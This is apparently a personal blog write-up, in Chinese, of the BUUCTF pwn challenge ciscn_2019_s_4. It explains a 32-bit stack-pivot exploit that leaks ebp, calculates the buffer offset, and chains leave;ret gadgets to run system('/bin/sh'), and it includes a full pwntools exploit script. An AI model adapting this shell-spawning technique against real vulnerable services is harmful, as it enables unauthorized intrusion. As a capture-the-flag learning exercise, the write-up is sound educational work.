【Pwn】BUUCTF ciscn_2019_s_4 wp 栈迁移

  • Post author:
  • Post category:其他




前言

因为做的时候心态崩了,此wp当个人日记来写了 = =



WP



查看保护:32位程序,开启了nx保护

请添加图片描述



查看hack函数:

请添加图片描述

这是

echo flag

,不是

flag.txt

,所以ret到这里不能得到flag

虽然没有用,但是帮我们引入了system函数,就不需要ret2libc了,我们再写入“/bin/sh”构造ROP链就行



查看vuln函数:

请添加图片描述

可进行两次输入,都是往

&s[ebp-0x28]

里面写内容,那么第二次写会把第一次写的内容覆盖,我们只能写入0x30字节不足以ret到system函数执行system(“/bin/sh”),不得不进行

栈迁移



思路:

首先我们需要寻找一个固定的位置来作为我们的栈迁移位置,也就是执行我们写入的获取shell的代码位置,我们写入的&s在栈中而不是bss段,那么只能从寻找栈中s的地址作为栈迁移地址

如果写入0x30,那么Printf输出的是写入的前0x28个的数据,和0x4字节的

ebp

和0x4字节的

ret

那么可以通过第一个输入点通过自己构造的payload来泄露ebp的值,虽然程序每次运行时的

ebp

会发生变化,但是它

与s的相对位置不会变化

我们可以通过gdb动调找一下栈中s距离ebp的距离,用于表示

&s

的位置,即栈迁移的位置,方便第二次往

ebp

写入其相对地址。

在第二个输入点向s写入执行

system(“/bin/sh”)

的相关指令,利用两次

leave_ret

将栈迁移到s处,执行栈中s地址里的指令,获取shell



调试:“遇事不决,可问动调”

第一次写入“aaaa”

第二次写入“bbbb”

通过不断步入直到第二次输出(

call printf

)指令左右,查看栈内容:

此时“aaaa”已经被覆盖为“bbbb”


$ebp=0xffffd018


&s=0xffffcfe0


在这里插入图片描述



计算偏移:

0x38

在这里插入图片描述



查看leave_ret指令的地址:

可以用vuln函数和其他函数自带的leave_ret的地址

也可用ROPgadget找到的地址:

在这里插入图片描述



解析payload2:

payload=p32(sys)+b'aaaa'+p32(stack_add+12)+bin_sh

sys是system函数,返回地址覆盖为‘aaaa’,参数地址为

s + 12

,因为“/bin/sh”写到了第4个位置,一个位置4字节,sys的地址是

sys=s+0*4


那么“/bin/sh”地址就是

s+(4-1)*4

后面就没什么说的了

payload=payload.ljust(0x28,b'a')
payload+=p32(stack_add-4)+p32(leave_ret)



构造Exp:

from pwn import *
context(os='linux', arch='i386', log_level='debug')
io=process('./ciscn_s_4')
#io=remote('node4.buuoj.cn',28463)
elf = ELF('./ciscn_s_4')
#libc=("./libc.6.so")

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

sys=elf.plt['system']
leave_ret=0x080484b8
#leave_ret=0x080485FD #这个是vuln函数里的指令,一样可以成功
flag=0x0804854B #Virtual flag

ru("What's your name?")

payload=b'a'*0x27+b'b'#设置标志为“b”
sd(payload)

ru("b")#接收到“b”时停止

stack_add=u32(rn(4))-0x38 #再接收4个字符即ebp,解码后-0x38得到s的地址
print(hex(stack_add))
rl()
bin_sh=b"/bin/sh\x00"
#写入的bin/sh 距离s+0x12,实际上system调用的是参数 s + 12 地址的bin/sh
payload=p32(sys)+b'aaaa'+p32(stack_add+12)+bin_sh
payload=payload.ljust(0x28,b'a')
payload+=p32(stack_add-4)+p32(leave_ret)

#gdb.attach(io)
sd(payload)
#pause()
io.interactive()



注意:



发送时用

io.send()

,不要用io.sendline(),

用了sendline()我自闭了一个小时!一个小时!!!payload没问题,但就是不能get shell !!

因为io.sendline()会多发一个0xa也就是“\n”,我们在构造payload的时候就已经写入了0x30字节大小,多出来的这个0xa会导致程序输入出错,就不能执行正确的结果了= =



运行Exp:

在这里插入图片描述



得到flag:

在这里插入图片描述



版权声明:本文为Lcw_linyx原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。